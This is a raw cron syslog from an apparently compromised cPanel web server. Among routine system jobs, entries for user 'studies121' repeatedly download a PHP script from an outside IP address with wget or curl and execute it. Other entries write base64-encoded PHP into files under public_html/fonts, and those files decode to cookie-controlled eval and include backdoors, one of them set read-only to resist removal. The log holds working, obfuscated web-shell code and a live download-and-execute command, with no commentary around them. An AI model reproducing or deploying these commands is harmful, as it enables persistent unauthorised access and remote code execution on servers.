Sep 11 22:28:01 ip-184-168-122-23 CROND[13734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:28:01 ip-184-168-122-23 CROND[13735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:29:01 ip-184-168-122-23 CROND[13828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:29:01 ip-184-168-122-23 CROND[13831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:29:01 ip-184-168-122-23 CROND[13832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:29:01 ip-184-168-122-23 CROND[13830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:30:01 ip-184-168-122-23 CROND[13925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:30:01 ip-184-168-122-23 CROND[13929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:30:01 ip-184-168-122-23 CROND[13931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:30:01 ip-184-168-122-23 CROND[13930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:30:01 ip-184-168-122-23 CROND[13928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:30:01 ip-184-168-122-23 CROND[13932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:30:01 ip-184-168-122-23 CROND[13935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:30:01 ip-184-168-122-23 CROND[13927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:31:01 ip-184-168-122-23 CROND[14036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:31:01 ip-184-168-122-23 CROND[14038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:31:01 ip-184-168-122-23 CROND[14039]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:31:01 ip-184-168-122-23 CROND[14040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:31:01 ip-184-168-122-23 CROND[14041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:32:01 ip-184-168-122-23 CROND[14142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:32:01 ip-184-168-122-23 CROND[14146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:32:01 ip-184-168-122-23 CROND[14143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:32:01 ip-184-168-122-23 CROND[14145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:32:01 ip-184-168-122-23 CROND[14144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:33:01 ip-184-168-122-23 CROND[14231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:33:01 ip-184-168-122-23 CROND[14235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:33:01 ip-184-168-122-23 CROND[14233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:33:01 ip-184-168-122-23 CROND[14234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:34:01 ip-184-168-122-23 CROND[14411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:34:01 ip-184-168-122-23 CROND[14413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:34:01 ip-184-168-122-23 CROND[14415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:34:01 ip-184-168-122-23 CROND[14416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:34:01 ip-184-168-122-23 CROND[14414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:35:01 ip-184-168-122-23 CROND[14516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:35:01 ip-184-168-122-23 CROND[14518]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 22:35:01 ip-184-168-122-23 CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:35:01 ip-184-168-122-23 CROND[14523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:35:01 ip-184-168-122-23 CROND[14519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:35:01 ip-184-168-122-23 CROND[14521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:35:01 ip-184-168-122-23 CROND[14522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:35:01 ip-184-168-122-23 CROND[14524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:36:01 ip-184-168-122-23 CROND[14640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:36:01 ip-184-168-122-23 CROND[14644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:36:01 ip-184-168-122-23 CROND[14643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:36:01 ip-184-168-122-23 CROND[14641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:36:01 ip-184-168-122-23 CROND[14642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:37:01 ip-184-168-122-23 CROND[14758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:37:01 ip-184-168-122-23 CROND[14760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:37:01 ip-184-168-122-23 CROND[14761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:37:01 ip-184-168-122-23 CROND[14762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:38:01 ip-184-168-122-23 CROND[14841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:38:01 ip-184-168-122-23 CROND[14842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:38:01 ip-184-168-122-23 CROND[14843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:38:01 ip-184-168-122-23 CROND[14844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:38:01 ip-184-168-122-23 CROND[14845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:39:01 ip-184-168-122-23 CROND[15008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:39:01 ip-184-168-122-23 CROND[15010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:39:01 ip-184-168-122-23 CROND[15011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:39:01 ip-184-168-122-23 CROND[15013]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 22:39:01 ip-184-168-122-23 CROND[15012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:40:01 ip-184-168-122-23 CROND[15134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:40:01 ip-184-168-122-23 CROND[15137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:40:01 ip-184-168-122-23 CROND[15140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:40:01 ip-184-168-122-23 CROND[15139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:40:01 ip-184-168-122-23 CROND[15143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:40:01 ip-184-168-122-23 CROND[15142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:40:01 ip-184-168-122-23 CROND[15144]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
